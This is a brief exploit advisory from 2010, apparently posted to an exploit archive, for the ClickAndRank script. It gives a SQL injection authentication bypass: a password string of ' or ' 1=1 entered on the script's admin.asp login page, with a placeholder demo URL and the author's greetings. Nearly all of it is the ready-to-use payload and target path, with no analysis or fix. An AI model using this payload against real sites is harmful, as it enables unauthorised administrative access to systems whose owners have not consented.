ClickAndRank Script – Authentication Bypass
# Exploit Title: ClickAndRank Script Authentication Bypass # Date: [18/07/2010] # Author: [walid] # Software Link: [null] # Version: [null] # Tested on: [Windows] # CVE: [null] * Found By: WaLiD * E-mail: Rezultas[at]Gmail[Dot]com * GreeTZ: [Amine]/[v4-team.com]/[Madjix] --------------------------------------------------------- Vendor: http://www.icash.ch/index.html?ClickAndRank/details.asp --------------------------------------------------------- Exploit Auth Bypass: login: walid passw: ' or ' 1=1 ---------------------------------------------------------- -[!] Demo : http://<site>/index.html?ClickAndRank/admin.asp ---------------------------------------------------------- |